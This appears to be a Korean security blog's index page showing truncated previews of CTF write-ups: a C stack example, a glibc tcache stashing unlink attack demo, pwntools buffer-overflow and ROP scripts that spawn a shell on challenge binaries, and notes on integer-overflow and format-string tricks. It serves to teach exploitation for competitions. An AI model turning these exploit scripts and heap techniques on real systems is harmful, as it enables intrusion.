redpwnCTF 2021 write-up

CTF-Writeup 2021. 7. 11. 13:11

CRYPTO baby https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c RSA decryption using only n e and c I need to decrypt c and I was given only n, e and c and computing p and q or phi(n) would be close to impossible so what other alternatives do I have? I tried calculating p and q but I made very li... stackoverflow.com 참조 scissor scissor -> 시저, 시저 암호로 돌리면됨 그럼 저 +12에 플래..

Article Thumbnail
Stack

알고리즘 2021. 6. 26. 13:01

#include #define MAX_STACK_SIZE 100 int stack[MAX_STACK_SIZE]; int top=-1; int IsEmpty(){ if(top=MAX_STACK_SIZE-1) return true; else return false; } void push(int value){ if(IsFull()==true) printf("스택이 가득 찼습니다."); else stack[++top]=value; } int pop(){ if(IsEmpty()==true) printf("스택이 비었습니다."); else return stack[top--]; } int main(){ push(3); push(5); push(12); printf("%d ",pop()); printf("%d ",po..

tcache stashing unlink attack

Technique 2021. 6. 21. 00:07

glibc 2.27, 2.29, 2.31에서 테스트 하였음. #include #include #include int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; setbuf(stdout, NULL); printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n"); printf("This technique can be used when yo..

Article Thumbnail
2021 THE CTF

Pwnable 2021. 6. 19. 17:13

from pwn import * #p = remote('remote1.thcon.party', 10900) p = process('./babyrop') e = ELF('./babyrop') libc = e.libc bss = e.bss() + 0x100 pop_rdi = 0x4012c3 pop_rsi_r15 = 0x4012c1 binsh = 0x40201a # 이부분은 string에 보면 /bin/sh 문자열이 있고, 문자열시작 부터 /bin/sh까지 바이트를 더해주면됨 #gdb.attach(p) secret = 0x4011f3 payload = '' payload += "A"*0x20 payload += "B"*8 payload += p64(pop_rdi) payload += p64(binsh) pay..

2021 HSCTF8

Pwnable 2021. 6. 19. 17:06

PWNABLE stonks 바로 bof로 ret까지 덮고 ai_debug를 호출만 하면됨 from pwn import * p = remote('stonks.hsc.tf',1337) #p = process('./stonks') e = ELF('./stonks') payload = "A"*0x20 payload += "B"*0x8 payload += p64(0x401260) #assembly address p.sendlineafter('symbol: ', payload) p.interactive() House of sice glibc 2.31이라 DFG가 가능하며 2.26이후로 tcache가 생기는 바람에 tcache도 우회해야함 내가 생각했던 공격 방식은 tcache를 7개 채운후, fastbin에 chu..

Article Thumbnail
2021 BCACTF 2.0

Pwnable 2021. 6. 12. 14:56

BCA Mart 정수 오버플로우 이용하는 문제 6넣고, int의 최대 범위인 2147483647 넣어주면 음수로 변하면서 풀림 Honor 단순히 A를 100번 넣어주면 끝 I Can Haz Interwebz?(misc) 그냥 들어가기만 하면 플래그 AP ABCs 총 SCORE까지는 76떨어져있고, score에 ABCs만 맞추면 됨 Amer-lit fsb문제 플래그는 %20$p~%30$p로 노가다 해서 땄는데 왜 안먹히는지 모르겠다 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2021.06.19에 추가 실제 플래그는 아래와 같다 bcactf{totally_not_employing_the_use_of_generic_words_to_reach_the_req..

Article Thumbnail
2021 Circle City Con CTF

Pwnable 2021. 6. 12. 02:51

f = open('tmp.jpg', 'w') tmp = p.recvuntil('1. List files.') f.write(tmp) f.close() pwnable win까지 호출하는데는 성공했지만 저부분에서 fwrite가 호출되면 이런 값이 나오는데 이 값을 jpg로 변환하는 것을 못하겠다.. +++++++++++++++++++++++++++++++++++++++++++++++ 2021.06.19에 추가한 내용 https://jiravvit.tistory.com/entry/Circle-City-Con-CTF-2021-pwnable-Baby-Fawn-CDN-%ED%92%80%EC%9D%B4-overwriting?category=902325 [Circle City Con CTF 2021 : pwnable]..

Article Thumbnail